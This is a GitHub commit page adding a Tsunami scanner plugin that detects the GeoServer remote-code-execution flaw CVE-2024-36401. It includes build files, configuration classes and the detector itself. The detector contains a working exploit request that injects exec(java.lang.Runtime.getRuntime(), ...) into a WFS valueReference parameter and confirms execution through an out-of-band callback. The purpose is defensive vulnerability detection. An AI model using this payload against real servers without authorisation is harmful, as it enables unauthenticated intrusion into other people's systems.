-
Notifications
You must be signed in to change notification settings - Fork 180
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #522 from grandsilva:geoserver
PiperOrigin-RevId: 688869518 Change-Id: I6d261e679adaa18e3d5f4483da950c30808accff
- Loading branch information
Showing
8 changed files
with
578 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,20 @@ | ||
# Geoserver CVE-2024-36401 RCE Detector | ||
|
||
This detector checks for Geoserver RCE (CVE-2024-36401). Multiple OGC request | ||
parameters allow Remote Code Execution (RCE) by unauthenticated users through | ||
specially crafted input against a default GeoServer installation due to unsafely | ||
evaluating property names as XPath expressions. | ||
|
||
Ref: | ||
|
||
- https://github.com/advisories/GHSA-6jj6-gm7p-fcvv | ||
|
||
## Build jar file for this plugin | ||
|
||
Using `gradlew`: | ||
|
||
```shell | ||
./gradlew jar | ||
``` | ||
|
||
Tsunami identifiable jar file is located at `build/libs` directory. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,67 @@ | ||
plugins { | ||
id 'java-library' | ||
} | ||
|
||
description = 'Geoserver RCE (CVE-2024-36401) VulnDetector plugin.' | ||
group = 'com.google.tsunami' | ||
version = '0.0.1-SNAPSHOT' | ||
|
||
repositories { | ||
maven { // The google mirror is less flaky than mavenCentral() | ||
url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' | ||
} | ||
mavenCentral() | ||
mavenLocal() | ||
} | ||
|
||
java { | ||
sourceCompatibility = JavaVersion.VERSION_11 | ||
targetCompatibility = JavaVersion.VERSION_11 | ||
|
||
jar.manifest { | ||
attributes('Implementation-Title': name, | ||
'Implementation-Version': version, | ||
'Built-By': System.getProperty('user.name'), | ||
'Built-JDK': System.getProperty('java.version'), | ||
'Source-Compatibility': sourceCompatibility, | ||
'Target-Compatibility': targetCompatibility) | ||
} | ||
|
||
javadoc.options { | ||
encoding = 'UTF-8' | ||
use = true | ||
links 'https://docs.oracle.com/en/java/javase/11/' | ||
source = '11' | ||
} | ||
|
||
// Log stacktrace to console when test fails. | ||
test { | ||
testLogging { | ||
exceptionFormat = 'full' | ||
showExceptions true | ||
showCauses true | ||
showStackTraces true | ||
} | ||
maxHeapSize = '1500m' | ||
} | ||
} | ||
|
||
ext { | ||
tsunamiVersion = 'latest.release' | ||
junitVersion = '4.13.1' | ||
okhttpVersion = '3.12.0' | ||
truthVersion = '1.1.3' | ||
guiceVersion = '4.2.3' | ||
} | ||
|
||
dependencies { | ||
implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}" | ||
implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" | ||
implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" | ||
|
||
testImplementation "junit:junit:${junitVersion}" | ||
testImplementation "com.google.truth:truth:${truthVersion}" | ||
testImplementation "com.squareup.okhttp3:mockwebserver:${okhttpVersion}" | ||
testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}" | ||
testImplementation "com.google.inject.extensions:guice-testlib:${guiceVersion}" | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
rootProject.name = 'geoserver-cve-2024-36401' |
35 changes: 35 additions & 0 deletions
35
...er_cve_2024_36401/src/main/java/com/google/tsunami/plugins/detectors/rce/Annotations.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
/* | ||
* Copyright 2024 Google LLC | ||
* | ||
* Licensed under the Apache License, Version 2.0 (the "License"); | ||
* you may not use this file except in compliance with the License. | ||
* You may obtain a copy of the License at | ||
* | ||
* http://www.apache.org/licenses/LICENSE-2.0 | ||
* | ||
* Unless required by applicable law or agreed to in writing, software | ||
* distributed under the License is distributed on an "AS IS" BASIS, | ||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
* See the License for the specific language governing permissions and | ||
* limitations under the License. | ||
*/ | ||
package com.google.tsunami.plugins.detectors.rce; | ||
|
||
import static java.lang.annotation.ElementType.FIELD; | ||
import static java.lang.annotation.ElementType.METHOD; | ||
import static java.lang.annotation.ElementType.PARAMETER; | ||
|
||
import java.lang.annotation.Retention; | ||
import java.lang.annotation.RetentionPolicy; | ||
import java.lang.annotation.Target; | ||
import javax.inject.Qualifier; | ||
|
||
/** Annotation for {@link GeoserverCve202436401VulnDetector}. */ | ||
final class Annotations { | ||
@Qualifier | ||
@Retention(RetentionPolicy.RUNTIME) | ||
@Target({PARAMETER, METHOD, FIELD}) | ||
@interface OobSleepDuration {} | ||
|
||
private Annotations() {} | ||
} |
200 changes: 200 additions & 0 deletions
200
...main/java/com/google/tsunami/plugins/detectors/rce/GeoserverCve202436401VulnDetector.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,200 @@ | ||
/* | ||
* Copyright 2024 Google LLC | ||
* | ||
* Licensed under the Apache License, Version 2.0 (the "License"); | ||
* you may not use this file except in compliance with the License. | ||
* You may obtain a copy of the License at | ||
* | ||
* http://www.apache.org/licenses/LICENSE-2.0 | ||
* | ||
* Unless required by applicable law or agreed to in writing, software | ||
* distributed under the License is distributed on an "AS IS" BASIS, | ||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
* See the License for the specific language governing permissions and | ||
* limitations under the License. | ||
*/ | ||
|
||
package com.google.tsunami.plugins.detectors.rce; | ||
|
||
import static com.google.common.base.Preconditions.checkNotNull; | ||
import static com.google.common.collect.ImmutableList.toImmutableList; | ||
import static com.google.tsunami.common.data.NetworkServiceUtils.buildWebApplicationRootUrl; | ||
import static com.google.tsunami.common.net.http.HttpRequest.get; | ||
|
||
import com.google.common.annotations.VisibleForTesting; | ||
import com.google.common.collect.ImmutableList; | ||
import com.google.common.flogger.GoogleLogger; | ||
import com.google.common.util.concurrent.Uninterruptibles; | ||
import com.google.protobuf.util.Timestamps; | ||
import com.google.tsunami.common.data.NetworkServiceUtils; | ||
import com.google.tsunami.common.net.http.HttpClient; | ||
import com.google.tsunami.common.net.http.HttpResponse; | ||
import com.google.tsunami.common.net.http.HttpStatus; | ||
import com.google.tsunami.common.time.UtcClock; | ||
import com.google.tsunami.plugin.PluginType; | ||
import com.google.tsunami.plugin.VulnDetector; | ||
import com.google.tsunami.plugin.annotations.ForWebService; | ||
import com.google.tsunami.plugin.annotations.PluginInfo; | ||
import com.google.tsunami.plugin.payload.NotImplementedException; | ||
import com.google.tsunami.plugin.payload.Payload; | ||
import com.google.tsunami.plugin.payload.PayloadGenerator; | ||
import com.google.tsunami.plugins.detectors.rce.Annotations.OobSleepDuration; | ||
import com.google.tsunami.proto.DetectionReport; | ||
import com.google.tsunami.proto.DetectionReportList; | ||
import com.google.tsunami.proto.DetectionStatus; | ||
import com.google.tsunami.proto.NetworkService; | ||
import com.google.tsunami.proto.PayloadGeneratorConfig; | ||
import com.google.tsunami.proto.Severity; | ||
import com.google.tsunami.proto.TargetInfo; | ||
import com.google.tsunami.proto.Vulnerability; | ||
import com.google.tsunami.proto.VulnerabilityId; | ||
import java.io.IOException; | ||
import java.net.URLEncoder; | ||
import java.nio.charset.StandardCharsets; | ||
import java.time.Clock; | ||
import java.time.Duration; | ||
import java.time.Instant; | ||
import javax.inject.Inject; | ||
import org.checkerframework.checker.nullness.qual.Nullable; | ||
|
||
/** A {@link VulnDetector} that detects the geoserver Cve-2024-36401 RCE vulnerability. */ | ||
@ForWebService | ||
@PluginInfo( | ||
type = PluginType.VULN_DETECTION, | ||
name = "GeoserverCve202436401VulnDetector", | ||
version = "0.1", | ||
description = "This detector checks for Geoserver RCE (CVE-2024-36401)", | ||
author = "grandsilva", | ||
bootstrapModule = GeoserverCve202436401VulnDetectorBootstrapModule.class) | ||
public class GeoserverCve202436401VulnDetector implements VulnDetector { | ||
|
||
private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); | ||
|
||
@VisibleForTesting | ||
static final String RCE_PAYLOAD = | ||
"%sgeoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames" | ||
+ "=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'%s')"; | ||
|
||
private final PayloadGenerator payloadGenerator; | ||
private final HttpClient httpClient; | ||
private final Clock utcClock; | ||
private final int oobSleepDuration; | ||
|
||
@Inject | ||
GeoserverCve202436401VulnDetector( | ||
HttpClient httpClient, | ||
@UtcClock Clock utcClock, | ||
PayloadGenerator payloadGenerator, | ||
@OobSleepDuration int oobSleepDuration) { | ||
this.httpClient = checkNotNull(httpClient); | ||
this.utcClock = checkNotNull(utcClock); | ||
this.payloadGenerator = checkNotNull(payloadGenerator); | ||
this.oobSleepDuration = oobSleepDuration; | ||
} | ||
|
||
@Override | ||
public DetectionReportList detect( | ||
TargetInfo targetInfo, ImmutableList<NetworkService> matchedServices) { | ||
logger.atInfo().log("GeoserverCve202436401VulnDetector starts detecting."); | ||
|
||
return DetectionReportList.newBuilder() | ||
.addAllDetectionReports( | ||
matchedServices.stream() | ||
.filter(NetworkServiceUtils::isWebService) | ||
.filter(this::isGeoserverInstance) | ||
.filter(this::isServiceVulnerable) | ||
.map(networkService -> buildDetectionReport(targetInfo, networkService)) | ||
.collect(toImmutableList())) | ||
.build(); | ||
} | ||
|
||
private boolean isGeoserverInstance(NetworkService networkService) { | ||
|
||
final String rootUri = buildWebApplicationRootUrl(networkService); | ||
try { | ||
HttpResponse response = | ||
httpClient.send( | ||
get(rootUri + "geoserver/index.html").withEmptyHeaders().build(), networkService); | ||
return response.status().equals(HttpStatus.OK); | ||
} catch (RuntimeException | IOException e) { | ||
logger.atWarning().withCause(e).log("Failed to send HTTP request to '%s'", rootUri); | ||
return false; | ||
} | ||
} | ||
|
||
private boolean isServiceVulnerable(NetworkService networkService) { | ||
var payload = getTsunamiCallbackHttpPayload(); | ||
if (payload == null || !payload.getPayloadAttributes().getUsesCallbackServer()) { | ||
logger.atWarning().log( | ||
"The Tsunami callback server is not setup for this environment, so we cannot confirm the" | ||
+ " RCE callback"); | ||
return false; | ||
} | ||
String cmd = payload.getPayload(); | ||
|
||
final String rootUri = buildWebApplicationRootUrl(networkService); | ||
|
||
try { | ||
httpClient.send( | ||
get(String.format(RCE_PAYLOAD, rootUri, URLEncoder.encode(cmd, StandardCharsets.UTF_8))) | ||
.withEmptyHeaders() | ||
.build(), | ||
networkService); | ||
} catch (RuntimeException | IOException e) { | ||
logger.atWarning().withCause(e).log("Failed to send HTTP request to '%s'", rootUri); | ||
return false; | ||
} | ||
// If there is an RCE, the execution isn't immediate | ||
logger.atInfo().log("Waiting for RCE callback."); | ||
Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(oobSleepDuration)); | ||
if (payload.checkIfExecuted()) { | ||
logger.atInfo().log("RCE payload executed!"); | ||
return true; | ||
} | ||
return false; | ||
} | ||
|
||
private @Nullable Payload getTsunamiCallbackHttpPayload() { | ||
try { | ||
return this.payloadGenerator.generate( | ||
PayloadGeneratorConfig.newBuilder() | ||
.setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.BLIND_RCE) | ||
.setInterpretationEnvironment( | ||
PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL) | ||
.setExecutionEnvironment( | ||
PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT) | ||
.build()); | ||
} catch (NotImplementedException n) { | ||
return null; | ||
} | ||
} | ||
|
||
private DetectionReport buildDetectionReport( | ||
TargetInfo targetInfo, NetworkService vulnerableNetworkService) { | ||
return DetectionReport.newBuilder() | ||
.setTargetInfo(targetInfo) | ||
.setNetworkService(vulnerableNetworkService) | ||
.setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) | ||
.setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) | ||
.setVulnerability( | ||
Vulnerability.newBuilder() | ||
.setMainId( | ||
VulnerabilityId.newBuilder() | ||
.setPublisher("TSUNAMI_COMMUNITY") | ||
.setValue("GeoserverCve202436401")) | ||
.setSeverity(Severity.CRITICAL) | ||
.setTitle("Geoserver RCE (CVE-2024-36401)") | ||
.setDescription( | ||
"This detector checks for Geoserver RCE (CVE-2024-36401). " | ||
+ "Multiple OGC request parameters allow Remote Code Execution (RCE) " | ||
+ "by unauthenticated users through specially crafted input against " | ||
+ "a default GeoServer installation due to unsafely evaluating property " | ||
+ "names as XPath expressions.") | ||
.setRecommendation( | ||
"Upgrade Geoserver to a patched version. The vulnerability was fixed in" | ||
+ " versions 2.23.6, 2.24.4, and 2.25.2.") | ||
.addRelatedId( | ||
VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-36401"))) | ||
.build(); | ||
} | ||
} |
41 changes: 41 additions & 0 deletions
41
...oogle/tsunami/plugins/detectors/rce/GeoserverCve202436401VulnDetectorBootstrapModule.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,41 @@ | ||
/* | ||
* Copyright 2024 Google LLC | ||
* | ||
* Licensed under the Apache License, Version 2.0 (the "License"); | ||
* you may not use this file except in compliance with the License. | ||
* You may obtain a copy of the License at | ||
* | ||
* http://www.apache.org/licenses/LICENSE-2.0 | ||
* | ||
* Unless required by applicable law or agreed to in writing, software | ||
* distributed under the License is distributed on an "AS IS" BASIS, | ||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
* See the License for the specific language governing permissions and | ||
* limitations under the License. | ||
*/ | ||
package com.google.tsunami.plugins.detectors.rce; | ||
|
||
import com.google.inject.Provides; | ||
import com.google.tsunami.plugin.PluginBootstrapModule; | ||
import com.google.tsunami.plugins.detectors.rce.Annotations.OobSleepDuration; | ||
|
||
/** | ||
* A Geoserver Cve-2024-36401 Rce Detector Guice module that bootstraps the {@link | ||
* GeoserverCve202436401VulnDetector}. | ||
*/ | ||
public final class GeoserverCve202436401VulnDetectorBootstrapModule extends PluginBootstrapModule { | ||
|
||
@Override | ||
protected void configurePlugin() { | ||
registerPlugin(GeoserverCve202436401VulnDetector.class); | ||
} | ||
|
||
@Provides | ||
@OobSleepDuration | ||
int provideOobSleepDuration(GeoserverRceDetectorConfigs configs) { | ||
if (configs.oobSleepDuration == 0) { | ||
return 10; | ||
} | ||
return configs.oobSleepDuration; | ||
} | ||
} |
23 changes: 23 additions & 0 deletions
23
...1/src/main/java/com/google/tsunami/plugins/detectors/rce/GeoserverRceDetectorConfigs.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
/* | ||
* Copyright 2024 Google LLC | ||
* | ||
* Licensed under the Apache License, Version 2.0 (the "License"); | ||
* you may not use this file except in compliance with the License. | ||
* You may obtain a copy of the License at | ||
* | ||
* http://www.apache.org/licenses/LICENSE-2.0 | ||
* | ||
* Unless required by applicable law or agreed to in writing, software | ||
* distributed under the License is distributed on an "AS IS" BASIS, | ||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
* See the License for the specific language governing permissions and | ||
* limitations under the License. | ||
*/ | ||
package com.google.tsunami.plugins.detectors.rce; | ||
|
||
import com.google.tsunami.common.config.annotations.ConfigProperties; | ||
|
||
@ConfigProperties("plugins.community.detectors.geoserver_cve_2024_36401") | ||
final class GeoserverRceDetectorConfigs { | ||
int oobSleepDuration; | ||
} |
Oops, something went wrong.